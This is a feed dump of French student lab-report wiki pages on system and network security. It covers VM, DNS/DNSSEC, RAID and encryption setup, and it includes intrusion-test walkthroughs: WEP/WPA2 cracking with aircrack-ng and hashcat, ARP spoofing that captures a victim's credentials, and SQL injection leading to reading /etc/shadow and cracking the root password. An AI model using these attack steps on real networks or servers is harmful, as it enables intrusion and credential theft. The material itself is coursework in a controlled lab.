** Crack la clef WEP après avoir capture au minimum 30 000 paquets : aircrack-ng -x &amp;lt;nomFichierSortie&amp;gt;-01.cap&lt;br /&gt;
&lt;br /&gt;
Notre première étape consiste à passer notre interface en mode moniteur.&lt;br /&gt;
Nous utilisons donc la commande : airmong-ng&lt;br /&gt;
&lt;br /&gt;
Ce qui nous retourne le nom de notre interface, dans notre cas : &lt;br /&gt;
 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous démarrons cette interface en mode moniteur avec la commande afin d'écouter le trafic wifi aux alentours : &lt;br /&gt;
 airmong-ng start wlan0mon&lt;br /&gt;
 &lt;br /&gt;
Par la suite nous affichons l'ensemble des réseaux WiFi WEP capter par notre interface : &lt;br /&gt;
 airodump-ng --encrypt wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
Apparaît alors la cracotte05, nous récupérons son BSSID : 04:DA:D2:9C:50:54 qui va alors nous servir à stocker les vecteurs d'initialisation générées par le point d'accés à l'aide de la commande : &lt;br /&gt;
 airodump-ng --write data --channel 3 -bssid 04:DA:D2:9C:50:54 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous pouvons &amp;quot;stimuler&amp;quot; le point d'accés, afin d'augmenter le nombre de paquets transmis (et collectés) : &lt;br /&gt;
 '''Fake Authentication''' : aireplay-ng -1 0 -e cracotte05 -a 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon&lt;br /&gt;
&lt;br /&gt;
 '''Injection''' : aireplay-ng -3 -e cracotte05 -b 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après avoir capturer assez de paquet (environ 30 000) il est possible de cracker la clé WEP à l'aide de la commande : &lt;br /&gt;
 aircrack-ng -z data.cap&lt;br /&gt;
&lt;br /&gt;
Nous obtenons alors : &lt;br /&gt;
 KEY FOUND! [F1:DE:D4:00:00:00:00:00:00:00:0F:FF:FF ] &lt;br /&gt;
Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
===Cassage de mot de passe WPA2-PSK par force brute===&lt;br /&gt;
&lt;br /&gt;
Pour cette deuxième étape de craquage de clé, nous allons utiliser quelques commandes communes au craquage de la clé WEP.&lt;br /&gt;
&lt;br /&gt;
Nous utilisons donc la commande : airmong-ng afin de lister nos interfaces, dans notre cas : &lt;br /&gt;
 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous démarrons cette interface en mode moniteur avec la commande : &lt;br /&gt;
 airmong-ng start wlan0mon&lt;br /&gt;
&lt;br /&gt;
Par la suite nous affichons l'ensemble des réseaux capter par notre interface : &lt;br /&gt;
 airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous repérons le réseau &amp;quot;Kracotte05&amp;quot; qui possède le BSSID suivant &amp;quot;00:14:1B:60:8C:24&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Nous pouvons lancer dès lors la commande :&lt;br /&gt;
 airodump-ng --write data -c 3 -bssid 00:14:1B:60:8C:24 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Il faut désormais attendre que le handshake soit notifié, dès que celui-ci arrive nous pouvons arreter la capture.&lt;br /&gt;
En parallèle nous pouvons d'ors et déjà créer le dictionnaire qui va nous permettre de casser la clé WPA grâce à la commande crunch :&lt;br /&gt;
 crunch 8 8 0123456789 &amp;gt; dico.txt&lt;br /&gt;
En effet nous savons que le mot de passe n'est composé que de chiffres et la taille totale de celui-ci est de longueur égale à 8.&lt;br /&gt;
&lt;br /&gt;
Pour cracker le mot de passe, nous avons utiliser hashcat, un utilitaire qui permet notamment d'utiliser la puissance du GPU pour le craquage de la clé.&lt;br /&gt;
&lt;br /&gt;
La commande est la suivante :&lt;br /&gt;
 crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx&lt;br /&gt;
&lt;br /&gt;
Le mot de passe pour la kracotte05 est le suivant : 10244444&lt;br /&gt;
&lt;br /&gt;
===Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP===&lt;br /&gt;
&lt;br /&gt;
Pour réaliser cette attaque, nous installons le paquet dsniff sur notre eeePC grâce à la commande :&lt;br /&gt;
 apt-get install dsniff&lt;br /&gt;
&lt;br /&gt;
La première étape consiste à transformer notre machine attaquante en routeur en mettant la variable noyau /proc/sys/net/ipv4/ip_forward à 1 : echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward &lt;br /&gt;
&lt;br /&gt;
Nous pouvons afficher la table arp de la machine pirate avec la commande : &lt;br /&gt;
 arp -a&lt;br /&gt;
Grâce à cette table nous identifions deux adresses IP :&lt;br /&gt;
&lt;br /&gt;
172.26.145.254&lt;br /&gt;
-&amp;gt; Adresse IP du routeur&lt;br /&gt;
&lt;br /&gt;
172.26.145.60&lt;br /&gt;
-&amp;gt; Adresse IP de la machine victime&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Notre but est de nous placer entre la gateway et la machine victime afin de pouvoir observer les paquets échangés entre le routeur et la machine victime.&lt;br /&gt;
&lt;br /&gt;
Les commandes suivantes vont nous permettre de procéder à notre attaque du type ARP poisoning :&lt;br /&gt;
 arpspoof -i eth0 -t 172.26.145.254 172.26.145.60 &lt;br /&gt;
 arpspoof -i eth0 -t 172.26.145.60 172.26.145.254 &lt;br /&gt;
&lt;br /&gt;
La première envoie à la cible (172.26.145.254) une fausse réponse ARP afin de corrompre le cache ARP de cette dernière pour ainsi détourner le trafic à destination de notre hôte (172.26.145.60). Ainsi lorsque le routeur devra envoyer des informations à destination de 172.26.145.60, il procédera à une résolution ARP en utilisant l'adresse MAC associé à l'IP 172.26.145.60 et qui aura été changer à la suite de notre spoofing (et nous sera alors associé). La même méthodologie est appliquée pour la seconde commande.&lt;br /&gt;
&lt;br /&gt;
En activant le mode routeur sur la machine pirate, nous pouvons retransférer les paquets entre le routeur et la machine victime de manière transparante. &lt;br /&gt;
&lt;br /&gt;
La machine victime va maintenant se connecter sur un serveur web HTTP.&lt;br /&gt;
&lt;br /&gt;
En lançant wireshark sur la machine attaquante nous observons les paquets suivants :&lt;br /&gt;
[[Fichier:wireshark_grp5.jpg|thumb|center||alt=texte alternatif|400px|Capture Wireshark]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous pouvons voir très clairement l'adresse mail ainsi que le mot de passe utilisés par l'utilisateur victime.&lt;br /&gt;
&lt;br /&gt;
===Intrusion sur un serveur d’application Web===&lt;br /&gt;
&lt;br /&gt;
Pour commencer ce challenge nous n’avons qu’une adresse : honey.plil.info. Afin de connaitre les services sur cette machine nous utilisons l’utilitaire nmap qui va scanner le réseau grâce à des pings sweep :&lt;br /&gt;
&lt;br /&gt;
 nmap -A -T4 honey.plil.info&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Nmap_honey.png|thumb|center||alt=texte alternatif|400px|Nmap honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Nous voyons que le serveur héberge deux services :&lt;br /&gt;
Un service de connexion ssh, inutilisable sans login et mot de passe&lt;br /&gt;
Un service web.&lt;br /&gt;
&lt;br /&gt;
Nous essayons donc de commencer par attaquer le site web honey.plil.info&lt;br /&gt;
&lt;br /&gt;
Sur la page principale seul un formulaire de connexion est présent, celui-ci sûrement utilisé par une base de données donc nous tentons une injection SQL.&lt;br /&gt;
Les requêtes SQL de connexions sont souvent de la forme : &lt;br /&gt;
Select … From … Where login = « username » AND password = « password ».&lt;br /&gt;
Si nous connaissons l’username ou le mot de passe du compte sur lequel nous voulons nous connecter nous pouvons utiliser une injection du type « or 1 = 1 -- » qui est une condition toujours vraie. Dans notre cas nous ne connaissons ni le login ni le password à utiliser donc on utilise la condition vraie sur les deux champs. De ce fait la base de données sera « perdu » et nous renvoie tous les comptes auxquels nous pouvons nous connecter en nous disant que nous ne pouvons nous connecter à tous ces comptes en même temps.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Sql_injection_honey.png|thumb|center||alt=texte alternatif|400px|Injection SQL honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Une fois connecté en tant qu’admin nous voyons que nous avons accès à trois pages, deux sont intéressantes :&lt;br /&gt;
- La première permet d’uploader un fichier qui est stocké sur le pc du server&lt;br /&gt;
- La deuxième permet de lire ce fichier.&lt;br /&gt;
&lt;br /&gt;
Nous uploadons le fichier password situé dans le dossier « etc », en le lisant nous nous apercevons que deux utilisateurs sont présents sur le serveur : root et rex et ces deux utilisateurs ont les droits pour se connecter en ssh. Nous uploadons le fichier shadow situé dans le dossier « etc », malheureusement celui-ci est vide.&lt;br /&gt;
&lt;br /&gt;
Après quelques tentatives infructueuses pour trouver le mot de passe de rex ou de root on se sert de l’utilitaire dirb qui va bruteforce le site internet pour trouver d’autres liens.&lt;br /&gt;
&lt;br /&gt;
 dirb -r honey.plil.info&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Dirb_honey.png|thumb|center||alt=texte alternatif|400px|Dirb honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Celui-ci nous permet de voir qu’une page http://honey.plil.info/phpmyadmin/ est présente. Nous avons fait des recherches pour savoir dans quel fichier était stocké le mot de passe administrateur de phpmyadmin. Nous uploadons donc le fichier config.inc.php, à l’intérieur de celui-ci nous ne trouvons rien excepté un deuxième nom de fichier : “config-db.php”. Dans celui-ci nous trouvons le mot de passe “gencovid19”. Une fois connecté en tant que root sur phpmyadmin, nous fouillons les bases de données et nous trouvons le nom d’utilisateur “rex” et le mot de passe “plainpassword” dans la base “test”.&lt;br /&gt;
&lt;br /&gt;
Une fois connecté en ssh sur le compte de rex, nous avons regardé ses droits et ceux-ci sont quasi identique à ceux de root on peut donc ouvrir le fichier “shadow”, récupérer le hash du mot de passe de root. Nous avons ensuite créé un dictionnaire en partant du principe que le mot de passe était de la forme &amp;quot;glopglop&amp;quot; et nous avons craqué le hash avec John the ripper qui nous donne le mot de passe ********.&lt;br /&gt;
&lt;br /&gt;
==Réalisations==&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de données===&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous créons 3 partitions virtuelles grâce aux commandes :&lt;br /&gt;
&lt;br /&gt;
 lvcreate -L1G -n amanite-raid1 storage&lt;br /&gt;
 lvcreate -L1G -n amanite-raid2 storage&lt;br /&gt;
 lvcreate -L1G -n amanite-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous modifions le fichier : /etc/xen/amanite.cfg&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/amanite/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/amanite/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/storage/RingotSanchez1,xvda3,w',&lt;br /&gt;
                  'phy:/dev/storage/RingotSanchez2,xvda4,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid1,xvda5,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid2,xvda6,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid3,xvda7,w'&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
Puis nous redémarrons notre VM.&lt;br /&gt;
 xl destroy amanite&lt;br /&gt;
 xl create /etc/xen/amanite.cfg&lt;br /&gt;
&lt;br /&gt;
Après avoir relancer notre VM, nous installons le paquet mdadm.&lt;br /&gt;
&lt;br /&gt;
 apt instal mdadm&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous construisons notre volume RAID 5, et nous nous assurons que ce dernier est démarré à chaque démarrage de notre VM.&lt;br /&gt;
&lt;br /&gt;
 mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7 &lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
Nous formatons notre volume RAID.&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/md0 &lt;br /&gt;
&lt;br /&gt;
Et nous rajoutons la ligne suivante dans /etc/fstab :&lt;br /&gt;
&lt;br /&gt;
 /dev/md0 /raid5 ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Nous pouvons avoir des détails notre volume grâce à la commande : &lt;br /&gt;
 mdadm --detail /dev/md0&lt;br /&gt;
&lt;br /&gt;
Pour finir, nous montons et peuplons notre volume RAID.&lt;br /&gt;
 mount /dev/md0 /mnt&lt;br /&gt;
 touch coucou.txt&lt;br /&gt;
&lt;br /&gt;
A partir de là, nous avons une configuration persistante du raid. Le RAID 5 sera identifié au boot et monté automatiquement. Nous pouvons maintenant tester notre volume RAID, nous simulons une panne sur un de nos disques.&lt;br /&gt;
&lt;br /&gt;
Nous déclarons un de nos disques comme étant en défaillance :&lt;br /&gt;
&lt;br /&gt;
 mdadm --set-faulty /dev/md0 /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
Puis nous l'enlevons de notre volume RAID :&lt;br /&gt;
 mdadm --remove /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
Nous constatons que notre fichier coucou.txt est toujours présent, malgré la panne de l'un de nos disques.&lt;br /&gt;
&lt;br /&gt;
Puis nous rajoutons notre disque dans notre volume RAID (ce dernier n'étant pas réellement défaillant) :&lt;br /&gt;
 mdadm --manage /dev/md0 --add /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
===Chiffrement de données===&lt;br /&gt;
&lt;br /&gt;
Notre but est de chiffrer les données contenus sur une clé usb en utilisant l'utilitaire cryptsetup.&lt;br /&gt;
&lt;br /&gt;
Après avoir trouvé notre clé usb avec lsblk, on formatte celle-ci. Puis on utilise l'utilitaire cryptsetup pour la chiffrer.&lt;br /&gt;
&lt;br /&gt;
 cryptsetup luksFormat /dev/sdb&lt;br /&gt;
 cryptsetup luksOpen /dev/sdb crypt_sdb&lt;br /&gt;
&lt;br /&gt;
Ces deux commandes nous permettent d'ouvrir notre clé usb avec cryptsetup, ainsi que d'ajouter un lien crypt_sdb dans /dev/mapper. Pour pouvoir utiliser la clé il faut reformater la partition luks.&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/mapper/crypt_sdb&lt;br /&gt;
&lt;br /&gt;
Pour pouvoir ajouter un fichier sur celle-ci nous devons la monter.&lt;br /&gt;
 &lt;br /&gt;
 mount /dev/mapper/crypt_sdb /mnt&lt;br /&gt;
&lt;br /&gt;
Puis nous y ajoutons un fichier.&lt;br /&gt;
&lt;br /&gt;
 touch /mnt/test.txt&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite unmount la clé et nous avons essayé de l'ouvrir sur un autre pc.&lt;br /&gt;
&lt;br /&gt;
 umount /mnt&lt;br /&gt;
 cryptsetup luksClose crypt_sdb&lt;br /&gt;
&lt;br /&gt;
Après avoir monté la clé sur un autre pc nous constatons que nous ne pouvons voir les fichiers présent. Pour les voir nous devons utiliser le mot de passe rentré lors de cryptsetup luksFormat.&lt;br /&gt;
&lt;br /&gt;
===Inspection ARP par un élément réseau===&lt;br /&gt;
&lt;br /&gt;
===Sécurisation WiFi par WPA2-EAP===&lt;/div&gt;</summary>
		<author><name>Psanchez</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G5&amp;diff=54615</id>
		<title>TP sysres IMA5sc 2020/2021 G5</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G5&amp;diff=54615"/>
				<updated>2020-12-14T16:46:02Z</updated>
		
		<summary type="html">&lt;p&gt;Psanchez : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Groupe !! Domaine !! Distribution !! VLAN privé !! IP (VLAN333) !! Netmask (VLAN333) !! Gateway (VLAN333) !! Gateway 6509-E (VLAN333) !! Gateway 9200 (VLAN333) !! IP (publique)&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 5&lt;br /&gt;
| amanite.site&lt;br /&gt;
| Debian 10 Buster&lt;br /&gt;
| 305&lt;br /&gt;
| 100.64.0.24&lt;br /&gt;
| 255.255.255.0&lt;br /&gt;
| 100.64.0.254&lt;br /&gt;
| 100.64.0.1&lt;br /&gt;
| 100.64.0.2&lt;br /&gt;
| 193.48.57.184&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
==Création d'une machine virtuelle Xen Linux sur le dom0 capbreton.plil.info==&lt;br /&gt;
&lt;br /&gt;
Connexion ssh :&lt;br /&gt;
&lt;br /&gt;
ssh pifou@capbreton.plil.info&lt;br /&gt;
&lt;br /&gt;
Création de la VM Xen :&lt;br /&gt;
&lt;br /&gt;
&amp;gt; su - (Afin de pouvoir accéder aux variables d'environnement de su et ainsi accéder à sbin/mkswap)&lt;br /&gt;
&lt;br /&gt;
&amp;gt; xen-create-image --hostname=amanite --ip=100.64.0.19 --netmask=255.255.255.0 --gateway=100.64.0.5 --password=pasglop --dir=/usr/local/xen --dist=buster &lt;br /&gt;
&lt;br /&gt;
Résultat de la commande :&lt;br /&gt;
 General Information&lt;br /&gt;
 --------------------&lt;br /&gt;
 Hostname       :  amanite&lt;br /&gt;
 Distribution   :  buster&lt;br /&gt;
 Mirror         :  http://deb.debian.org/debian&lt;br /&gt;
 Partitions     :  swap            512M  (swap)&lt;br /&gt;
                  /               4G    (ext4)&lt;br /&gt;
 Image type     :  sparse&lt;br /&gt;
 Memory size    :  256M&lt;br /&gt;
 Kernel path    :  /boot/vmlinuz-4.19.0-9-amd64&lt;br /&gt;
 Initrd path    :  /boot/initrd.img-4.19.0-9-amd64&lt;br /&gt;
&lt;br /&gt;
 Networking Information&lt;br /&gt;
 ----------------------&lt;br /&gt;
 IP Address 1   : 100.64.0.19 [MAC: 00:16:3E:C4:6A:BB]&lt;br /&gt;
 Netmask        : 255.255.255.0&lt;br /&gt;
 Gateway        : 100.64.0.5&lt;br /&gt;
&lt;br /&gt;
===Configuration des LV===&lt;br /&gt;
&lt;br /&gt;
Après que Guillaume ait créer un volume group sur capbreton pour chaque groupe puis attribuer 2 Logical Volume (LV) de 10Go sur ce volume group il est nécessaire de formater ces 2 LV à l'aide des commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
 root@capbreton:~# mkfs.ext4 /dev/storage/amanite1&lt;br /&gt;
 root@capbreton:~# mkfs.ext4 /dev/storage/amanite2&lt;br /&gt;
&lt;br /&gt;
Nous avons par la suite modifier le fichier config de la VM, ''amanite.cfg'', afin qu'elle possède les volumes loguqes amanite1 et amanite2 précédemment créé en rajoutant les lignes ci-dessous :&lt;br /&gt;
&lt;br /&gt;
Dans la fonction Disk Device(s) :&lt;br /&gt;
 disk = [&lt;br /&gt;
 ...&lt;br /&gt;
 'phy:/dev/storage/RingotSanchez1,xvdav3,w'&lt;br /&gt;
 'phy:/dev/storage/RingotSanchez2,xvdav4,w'&lt;br /&gt;
 ]&lt;br /&gt;
&lt;br /&gt;
Puis dans Networking :&lt;br /&gt;
 vif = [ 'bridge=IMA5sc, ...']&lt;br /&gt;
&lt;br /&gt;
===Création et configuration de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
Lorsque nous sommes connecté en ssh à capbreton, creation de la VM avec la commande : xl create -c /etc/xen/amanite.cfg&lt;br /&gt;
&lt;br /&gt;
*Commandes utiles&lt;br /&gt;
** Affichage de l'ensemble des VM présente sur capbreton : xl list&lt;br /&gt;
** Se connecter à la VM : xen console amanite&lt;br /&gt;
 Identifiant de la machine : root&lt;br /&gt;
 Mdp de la machine : pasglop&lt;br /&gt;
&lt;br /&gt;
'''Suite de la configuration'''&lt;br /&gt;
&lt;br /&gt;
Pour que les répertoires /var et /home de la machine virtuelle soient sur des partitions LVM de l’hôte il faut tout d'abord formater xvda3, xvda4 en ext 4  à l'aide des commandes : &lt;br /&gt;
 root@amanite:~# mkfs.ext4 /dev/xvda3 &lt;br /&gt;
 root@amanite:~# mkfs.ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
Par la suite nous montons nos deux disques afin d'y déplacer nos répertoires (en ayant préalablement créer les points de montages /mnt/xvda3 et /mnt/xvda4) :&lt;br /&gt;
&lt;br /&gt;
 root@amanite:~# mount /dev/xvda3 /mnt/xvda3&lt;br /&gt;
 root@amanite:~# mount /dev/xvda4 /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Le répertoire /home étant vide nous ne déplaçons que le répertoire /var dans le disques xvda4 :&lt;br /&gt;
&lt;br /&gt;
 root@amanite:~# mv /var/* /mnt/xvda4.&lt;br /&gt;
&lt;br /&gt;
Puis nous démontons (umount) nos deux volumes.&lt;br /&gt;
&lt;br /&gt;
Nous modifions ensuite /ect/fstab en ajoutant :&lt;br /&gt;
 /dev/xvda3 /home ext4 defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Puis nous les montons à l'aide de la commande : &lt;br /&gt;
 mount -a &lt;br /&gt;
Finalement à l'aide de la commande lsblk nous pouvons verifier notre montage : &lt;br /&gt;
 NAME  MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT&lt;br /&gt;
 xvda1 202:1    0  512M  0 disk [SWAP]&lt;br /&gt;
 xvda2 202:2    0    4G  0 disk /&lt;br /&gt;
 xvda3 202:3    0   10G  0 disk /home&lt;br /&gt;
 xvda4 202:4    0   10G  0 disk /var&lt;br /&gt;
&lt;br /&gt;
==Service Internet==&lt;br /&gt;
&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
&lt;br /&gt;
Installation d'un serveur ssh, accessible grâce à la commande :&lt;br /&gt;
 ssh root@amanite.site&lt;br /&gt;
avec le mot de passe habituel d'une zabeth non root. (Il faut au préalable avoir autoriser la connexion en root : PermitRootLogin yes dans le fichier /etc/ssh/sshd_config)&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
&lt;br /&gt;
Nous avons commencé par louer un nom de domaine sur gandi.net :&lt;br /&gt;
 amanite.site&lt;br /&gt;
Nous avons ensuite installé le package bind9.&lt;br /&gt;
&lt;br /&gt;
Dans le dossier de configuration de bind9 on modifie les fichiers de configurations :&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;amanite.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/zones/amanite.site.db&amp;quot;;&lt;br /&gt;
     allow-transfer{217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/zones/amanite.site.db :&lt;br /&gt;
&lt;br /&gt;
 ;BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.amanite.site. postmaster.amanite.site. (&lt;br /&gt;
                              6         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.amanite.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 @	 IN 	 MX	 42 ns1&lt;br /&gt;
 ns1     IN      A       193.48.57.184&lt;br /&gt;
 www     IN      A       193.48.57.184&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/name.conf.options&lt;br /&gt;
&lt;br /&gt;
 options {&lt;br /&gt;
 	directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
 	dnssec-validation auto;&lt;br /&gt;
 	listen-on-v6 { any; };&lt;br /&gt;
 	allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;;};&lt;br /&gt;
 };&lt;br /&gt;
 &lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
     217.70.177.40/32;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Sur gandi.net on lie ns1.amanite.site à 193.48.57.184 grâce a l'option Gluerecords, ensuite on ajoute aux serveurs de noms externes.&lt;br /&gt;
 ns1.amanite.site&lt;br /&gt;
 ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
Pour vérifier le bon fonctionnement on peut utiliser les commandes suivantes :&lt;br /&gt;
 host -t any ns1.amanite.site localhost&lt;br /&gt;
 host -t any ns1.amanite.site&lt;br /&gt;
&lt;br /&gt;
ou se servir de nslookup.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de site web par certificat===&lt;br /&gt;
&lt;br /&gt;
Pour sécuriser notre site web par certificat il faut d'abord créer un certificat pour cela on utilise l'utilitaire openssl et nous nous aidons de la documentation de Gandi.&lt;br /&gt;
Cette ligne de commande nous permet de lancer la procédure de création :&lt;br /&gt;
&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout amanite.site.key -out amanite.site.csr&lt;br /&gt;
&lt;br /&gt;
 Country Name (2 letter code) [AU]:FR&lt;br /&gt;
 State or Province Name (full name) [Some-State]:France&lt;br /&gt;
 Locality Name (eg, city) []:Lille&lt;br /&gt;
 Organization Name (eg, company) [Internet Widgits Pty Ltd]:Polytech&lt;br /&gt;
 Organizational Unit Name (eg, section) []:IMA&lt;br /&gt;
 Common Name (e.g. server FQDN or YOUR name) []:amanite.site&lt;br /&gt;
 Email Address []:admin@amanite.site&lt;br /&gt;
 &lt;br /&gt;
 Please enter the following 'extra' attributes&lt;br /&gt;
 to be sent with your certificate request&lt;br /&gt;
 A challenge password []:glopglop&lt;br /&gt;
 An optional company name []:&lt;br /&gt;
&lt;br /&gt;
Une fois la procédure lancée nous rentrons nos informations comme notre pays, notre entreprise, notre nom d'organisation mais le plus important notre common name &amp;quot;amanite.site&amp;quot;.&lt;br /&gt;
Une fois fini deux fichiers sont créés amanite.site.key et amanite.site.csr, il faut maintenant faire signer le fichier amanite.site.csr par une authorité de certification. Cela se passe directement sur le site de gandi, nous ajoutons ce certificat a notre nom de domaine et nous attendons de recevoir le certificat signé.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
Le but de cette partie est de résoudre certains problèmes de sécurité liés au protocole DNS grâce au procole DNSSEC. DNSSEC permet de proteger les données et les enregistrements DNS de bout en bout (et non pas seulement le canal de communication comme ce qui pourrait être fait avec TLS). Ainsi, il est efficace même lorsqu'un serveur intermédiaire a été compromis. &lt;br /&gt;
Pour ce faire, nous configurons bind pour qu'il soit capable d'accepter les échanges suivant le protocole DNSSEC.&lt;br /&gt;
&lt;br /&gt;
Nous commençons par activer DNSSEC dans le fichier /etc/bind/named.conf.local grâce à l'option :&lt;br /&gt;
 dnssec-enable yes&lt;br /&gt;
&lt;br /&gt;
Par la suite nous créons un dossier amanite.site.dnssec dans lequel seront stockées les clefs et nous générons deux couples de clefs (ZSK et KSK) qui permettront de chiffrer ou déchiffrer les enregistrements. Nous commençons par créer la clef asymétrique de signature de clefs de zone : &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE amanite.site&lt;br /&gt;
Puis la la clef asymétrique de la zone pour signer les enregistrements :&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE amanite.site&lt;br /&gt;
&lt;br /&gt;
Nous renommons les deux paires de clefs obtenues pour plus de lisibilité : &lt;br /&gt;
 amanite-ksk.key amanite-ksk.private amanite-zsk.key amanite-zsk.private&lt;br /&gt;
&lt;br /&gt;
Que nous incluons dans votre fichier de zone /etc/bind/zones/amanite.site.db :&lt;br /&gt;
 $include /etc/bind/amanite.site.dnssec/amanite.site-ksk.key&lt;br /&gt;
 $include /etc/bind/amanite.site.dnssec/amanite.site-zsk.key&lt;br /&gt;
&lt;br /&gt;
Sans oublier d'incrémenter le numéro de version de la zone dans le fichier amanite.site.db et amanite.site.db.signed&lt;br /&gt;
&lt;br /&gt;
Nous signons les enregistrements de la zone avec la commande : &lt;br /&gt;
 dnssec-signzone -o amanite.site -k amanite.site-ksk ../zones/amanite.site.db amanite.site-zsk &lt;br /&gt;
&lt;br /&gt;
Ensuite dans le fichier /etc/bind/named.conf.local nous modifions la zone :&lt;br /&gt;
 zone &amp;quot;amanite.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/zones/amanite.site.db.signed&amp;quot;;&lt;br /&gt;
     allow-transfer{217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
L'avant dernière étape consiste à communiquer la partie publique de la KSK (amanite.site-ksk.key) à Gandi (partie DNSSEC)&lt;br /&gt;
&lt;br /&gt;
Finalement nous relançons bind : &lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
Nous vérifions la configuration de notre DNS grâce au site : https://dnssec-analyzer.verisignlabs.com/amanite.site&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screenshot_amanite.site.png|thumb|center||alt=texte alternatif|400px|Screenshot sur le site DNSSEC Analyzer]]&lt;br /&gt;
&lt;br /&gt;
==Tests d'intrusion==&lt;br /&gt;
&lt;br /&gt;
===Cassage de clef WEP d’un point d’accès WiFi===&lt;br /&gt;
&lt;br /&gt;
*Liste des commandes :&lt;br /&gt;
** Lister les interfaces WiFi disponibles : airmong-ng&lt;br /&gt;
** Passage d'une interface en mode moniteur : airmong-ng start &amp;lt;Interface&amp;gt;&lt;br /&gt;
** Affichage et scan des réseaux WiFi WEP environnants : airodump-ng --encrypt wep &amp;lt;Interface&amp;gt;&lt;br /&gt;
